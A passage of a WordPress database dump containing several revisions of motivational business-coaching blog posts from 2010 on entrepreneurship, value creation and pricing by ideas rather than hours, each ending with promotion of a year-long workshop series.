systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span></em>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<em><span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently experiment with social media tools to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of greater value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span></em>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI continue to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for the success of my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you connect and believe in your big ideas for your own growth and expansion in the coming new year.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-16', '', '', '2010-12-17 15:18:22', '2010-12-17 22:18:22', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-16/', 0, 'revision', '', 0),
(1358, 2, '2010-12-13 20:36:41', '2010-12-14 03:36:41', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="500" height="365" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again! </strong>\r\n\r\n<strong>Think about how you create value, and in what ways you might be selling yourself short.</strong>\r\n\r\n<span style="color: #333333;"><em>Editor’s Note: This post is a small taste of the concepts and ideas   we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater    clarity and confidence to define a compelling vision for your future–    and set the foundation to achieve your goal of taking your business to   the next level  in an easy, relaxed, and joyful way. If you are   interesting in  attending and would like more information, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly!</em></span>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision-11', '', '', '2010-12-13 20:36:41', '2010-12-14 03:36:41', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-revision-11/', 0, 'revision', '', 0),
(1359, 2, '2010-12-27 15:45:54', '2010-12-27 22:45:54', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="450" height="329" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again! </strong>\r\n\r\n<strong>Think about how you create value, and in what ways you might be selling yourself short.</strong>\r\n\r\n<span style="color: #333333;"><em>Editor’s Note: This post is a small taste of the concepts and ideas   we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater    clarity and confidence to define a compelling vision for your future–    and set the foundation to achieve your goal of taking your business to   the next level  in an easy, relaxed, and joyful way. If you are   interesting in  attending and would like more information, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly!</em></span>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision-12', '', '', '2010-12-27 15:45:54', '2010-12-27 22:45:54', '', 1308, 'http://www.whitehotcenter.com/2010/12/27/1308-revision-12/', 0, 'revision', '', 0),
(1360, 2, '2010-11-26 18:26:13', '2010-11-27 01:26:13', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n<h2><span style="color: #888888;">To be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people.</span></h2>\r\nValue creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace. Think about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis. </strong><strong>Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>. </strong><strong>When you do, you’ll create far more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. </strong><strong></strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-23', '', '', '2010-11-26 18:26:13', '2010-11-27 01:26:13', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-23/', 0, 'revision', '', 0),
(1361, 2, '2010-12-27 15:47:36', '2010-12-27 22:47:36', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="450" height="297" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n<h2><span style="color: #888888;">To be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people.</span></h2>\r\nValue creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace. Think about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis. </strong><strong>Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>. </strong><strong>When you do, you’ll create far more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. </strong><strong></strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-autosave', '', '', '2010-12-27 15:47:36', '2010-12-27 22:47:36', '', 1245, 'http://www.whitehotcenter.com/2010/12/27/1245-autosave/', 0, 'revision', '', 0),
(1362, 2, '2010-11-16 17:11:07', '2010-11-17 00:11:07', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus for long. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you love doing something with unbridled passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seem astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully live in your days from this elevated perspective, the more freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://whc.fbdev.org/2010/10/07/the-quantum-leap-workshop%E2%84%A2-begins-march-2011/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email </a>me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download </a>the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-13', '', '', '2010-11-16 17:11:07', '2010-11-17 00:11:07', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-13/', 0, 'revision', '', 0);
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(1363, 2, '2010-10-24 17:22:02', '2010-10-25 00:22:02', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you''re an entrepreneur at the early stages of success, most likely you''ve pondered how best to get your business to the next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked with has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a 